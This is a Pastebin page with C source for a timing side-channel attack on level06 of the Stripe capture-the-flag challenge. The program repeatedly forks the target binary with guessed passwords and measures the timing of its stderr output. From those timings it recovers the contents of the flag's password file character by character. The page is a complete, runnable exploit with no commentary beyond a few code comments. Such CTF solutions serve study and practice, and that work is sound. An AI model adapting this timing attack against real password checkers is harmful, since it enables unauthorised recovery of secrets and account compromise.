Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // stripe level06 side channel attack
- // by petter wahlman, https://twitter.com/badeip
- #define _GNU_SOURCE
- #include <stdio.h>
- #include <stdlib.h>
- #include <errno.h>
- #include <stdint.h>
- #include <string.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <stdarg.h>
- #include <sys/stat.h>
- #include <sys/signal.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/wait.h>
- #include <time.h>
- #define TERM_CURSOR_ON "\33[?12l\33[?25h"
- #define TERM_CURSOR_OFF "\33[?25l"
- #define TERM_CLEAR_SOL "\033[2K"
- #define TERM_CLEAR "\33[H\33[2J"
- #define PASSWORD_FILE "/home/the-flag/.password"
- #define TARGET "/levels/level06"
- #define MAX_PWD 64
- #define SAMPLES 3 // # of times to verify a character
- const char valid_chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ";
- const char invalid_char = '?';
- struct cidex {
- uint64_t delta;
- uint32_t idx;
- };
- struct timespec diff(struct timespec start, struct timespec end)
- {
- struct timespec temp;
- if ((end.tv_nsec - start.tv_nsec) < 0) {
- temp.tv_sec = end.tv_sec - start.tv_sec -1;
- temp.tv_nsec = 1000000000 + end.tv_nsec-start.tv_nsec;
- } else {
- temp.tv_sec = end.tv_sec - start.tv_sec;
- temp.tv_nsec = end.tv_nsec - start.tv_nsec;
- }
- return temp;
- }
- void sigint_handler(int32_t sig)
- {
- printf("%s\n", TERM_CURSOR_ON);
- exit(0);
- }
- int32_t main(int32_t argc, char **argv)
- {
- char matrix[MAX_PWD][sizeof(valid_chars)];
- struct timespec post[MAX_PWD];
- struct timespec pre;
- struct timespec tsdiff;
- char password[MAX_PWD];
- int32_t err[MAX_PWD];
- int32_t i, idx, byte;
- int32_t nullfd, samples;
- int32_t pfd[2];
- pid_t pid;
- if (access(TARGET, X_OK)) {
- fprintf(stderr, "error, can't execute %s: %s\n", TARGET, strerror(errno));
- return 1;
- }
- if ((access(PASSWORD_FILE, F_OK)) && (errno != EACCES)) {
- fprintf(stderr, "error, %s: %s\n", PASSWORD_FILE, strerror(errno));
- return 1;
- }
- signal(SIGINT, sigint_handler);
- memset(matrix, 0, sizeof(matrix));
- memset(password, 0, sizeof(password));
- memset(post, 0, sizeof(post));
- memset(err, 0, sizeof(err));
- nullfd = open("/dev/null", O_WRONLY);
- printf(TERM_CLEAR);
- printf(TERM_CURSOR_OFF);
- int32_t win = 0;
- memset(password, invalid_char, sizeof(password)-1);
- for (idx = 0; idx < MAX_PWD; idx++) {
- for (samples = 0; samples < SAMPLES; samples++) {
- retry:
- for (byte = 0; byte < strlen(valid_chars); byte++) {
- char output[MAX_PWD];
- char *ptr;
- password[idx] = valid_chars[byte];
- strcpy(output, password);
- ptr = strchr(output, invalid_char);
- if (ptr) (*ptr) = '\0';
- printf("\r%spassword: %s", TERM_CLEAR_SOL,output); fflush(stdout);
- if (-1 == pipe(pfd)) {
- perror("pipe");
- sleep(1);
- goto retry;
- }
- pid = fork();
- if (-1 == pid) {
- perror("fork");
- sleep(1);
- goto retry;
- } else if (!pid) { // child
- close(pfd[0]);
- dup2(pfd[1], STDERR_FILENO);
- dup2(nullfd, STDOUT_FILENO);
- argv[0] = TARGET;
- argv[1] = PASSWORD_FILE;
- argv[2] = password;
- argv[3] = NULL;
- usleep(1000);
- execv(argv[0], argv);
- exit(1);
- } else {
- // parent
- char response[64];
- struct cidex high;
- uint64_t delta;
- int32_t total;
- int32_t nr;
- char c;
- close(pfd[1]);
- // motd:
- total = 0;
- clock_gettime(CLOCK_REALTIME, &pre);
- while(1) {
- nr = read(pfd[0], &c, sizeof(c));
- if ((nr < 1) || (c == '\n'))
- break;
- total += nr;
- }
- if (total != strlen("Welcome to the password checker!")) {
- fprintf(stderr, "error, premature eof\n");
- return 1;
- };
- // side channel attack:
- clock_gettime(CLOCK_REALTIME, &pre);
- total = 0;
- for (i = 0; i < sizeof(response); i++) {
- nr = read(pfd[0], &response[i], sizeof(response[i]));
- clock_gettime(CLOCK_REALTIME, &post[i]);
- if (nr < 1)
- break;
- total += nr;
- }
- delta = 0;
- memset(&high, 0, sizeof(high));
- for (i = 0; i < strlen(password); i++) {
- tsdiff = diff(pre, post[i]);
- delta = delta ? tsdiff.tv_nsec - delta : 0;
- if (delta > (high.delta * 10)) { // an order of magnitude greater
- high.delta = delta;
- high.idx = i;
- }
- delta = tsdiff.tv_nsec;
- }
- if (total <= (strlen(password) + 1)) {
- if (high.idx -1 > idx) {
- win = 1;
- break;
- }
- }
- } // parent
- close(pfd[0]);
- wait(NULL);
- } // byte
- if (win) {
- win = 0;
- matrix[idx][byte]++;
- err[idx] = 0;
- if (matrix[idx][byte] < SAMPLES)
- goto retry;
- } else {
- matrix[idx][byte] = 0;
- err[idx]++;
- if (err[idx] > 2) // fail!
- goto out; // end of password?
- if (idx)
- idx--;
- goto retry;
- }
- win = 0;
- } // samples
- } // idx
- out:
- password[idx] = '\0';
- printf("\npossible answer: %s\n", password);
- printf(TERM_CURSOR_ON);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement